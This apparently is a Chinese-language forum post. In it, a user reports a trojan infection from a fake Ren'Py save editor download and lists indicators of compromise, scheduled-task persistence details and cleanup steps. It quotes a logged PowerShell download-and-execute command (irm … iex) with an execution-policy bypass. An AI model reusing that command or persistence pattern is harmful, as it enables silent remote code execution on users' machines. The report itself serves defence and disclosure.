发现疑似木马病毒,如何处理

简单来说就是我前几天乱下软件没看网址被木马骚扰了,我使用AI对完整事件进行了汇总:

恶意软件完整事件报告（RenEngine 加载器变种）
一、感染途径（用户操作回顾）
用户因需要 Ren'Py 游戏的存档修改器，通过以下步骤接触并运行了恶意文件：

访问钓鱼/诱导页面

用户通过百度搜索打开了第一条网页链接：

该页面内容伪装成正常分享页，提供一个下载链接：（短链接服务）

点击短链接后，最终跳转至：

假冒 MEGA 网盘页面

域名 pulse.omnidataflow5.cyou 加载了一个伪造的 MEGA 网盘界面。

页面顶部显示“MEGA”、“MEGA Transfer”、“End-to-end encrypted”、“Your file is ready”以及密码提示“Password: 7929”。

用户截图确认该页面并非真实 MEGA 官方服务。



下载恶意文件

文件名：renpy save game editor.zip

解压密码：7929

解压后得到一个可执行文件：renpy save game editor.exe，体积约 799 MB

注：用户曾使用百度搜索关键词“Renpy Save Game Editor”，但百度搜索结果本身未发现问题。真正的恶意链接来源于上述 Sway 页面及短链跳转。



二、运行恶意程序后的行为
用户运行 renpy save game editor.exe 后观察到：

程序无正常反应：没有打开任何窗口或显示正常的软件界面（类似假死或后台静默运行）。

安全软件告警：电脑管家弹出提示“检测到系统注册表敏感操作”，用户当时点击了“允许”未发现反应,直接删除了程序和后续生成的程序。

后续异常现象：

电脑再次开机后开始每隔约25分钟自动弹出广告窗口

每次开机登录后也会弹出相同广告

暂未观察到其他风险问题


三、火绒安全查杀发现
用户安装并使用火绒安全进行快速扫描，结果如下：

项目
详细信息
风险类型
木马病毒 Trojan/BAT.Pwrsch.fa
恶意计划任务
sched://TaskScheduler\VdsinaServiceID{7D84-2EE5-0B75-F62D-68B94C30D27CE80}

手动打开任务计划程序（taskschd.msc）确认：

任务名称：VdsinaServiceID{7D84-2EE5-0B75-F62D-68B94C30D27CE80}

操作：启动 conhost.exe 并执行 mshta.exe (未知广告链接)

触发器：

一次性触发（首次创建于 2026/6/10 14:20）

登录时触发

每隔 25分钟 重复一次，持续 760天





火绒安全日志（2026/6/13）仍显示：

text
powershell.exe -ep Bypass -Command irm (未知链接)\iex
被火绒网络防护 阻止（恶意网址拦截）。
同时 svchost.exe 也尝试访问同一域名。



腾讯电脑管家
初次运行恶意程序时弹出“注册表敏感操作”提示（用户允许）。
后续静态扫描未报毒全程未扫描出危险可疑操作。

360安全卫士（极速版）
检测到另一个变种计划任务：
\VdsinaServiceID{A305-114B-4E26-DB25-3E0553BB11B1554}
关联 powershell.exe，建议禁止自启动。



关联 powershell.exe，建议禁止自启动。

四、当前残留问题
尽管已删除部分计划任务，火绒日志持续拦截 powershell.exe 外联 vdsina.vg，表明系统中仍有隐藏组件（可能是未被清理的计划任务、WMI 事件订阅、注册表启动项或服务）在反复触发恶意命令。

使用电脑管家火绒和360杀毒扫描EXE程序均未发现可疑问题



五、样本 SHA‑256（供入库）
文件
SHA‑256
renpy save game editor.zip（密码 7929）
5CEAAEE4067AD255D2BB54DC5552B94A94A9EC0FB4B33F83A60238070DAA99B1
renpy save game editor.exe
C87B39B0947EF4C8150F040196E53ED905A03DEEBF20444A57A8678E0110B07F6
六、其他 IOC
恶意域名：pulse.omnidataflow5.cyou、shoxet.com、vdsina.vg

钓鱼 Sway 页面:(不允许发布链接)

计划任务名称模式：VdsinaServiceID{...}（存在多个不同 GUID）

七、用户已采取措施
使用火绒删除已发现的一个计划任务及关联 DLL。

使用360极速版检测并处理另一个变种任务。

向百度搜索引擎进行相关网址的病毒木马行为举报。

在另一台安全设备上修改重要账户密码（邮箱、Steam、网银等）。

导出安全日志，保留样本,向安全软件官方渠道进行反馈。

八、请求协助分析
分析上述样本，补充特征入库。

提供针对 powershell.exe 持续外联 vdsina.vg 的彻底清理方案（怀疑有隐藏的 WMI 订阅或服务残留）。

报告整理人：受感染用户

无法上传原疑似木马文件压缩包附件(提示文件过大)
已上传疑似钓鱼网页HTML格式网页快照(不知是否成功)

您好，您可以加下方企微，工作人员帮您看下https://p0.ssl.qhmsg.com/t11e3f4274f0060d25459ef8056.png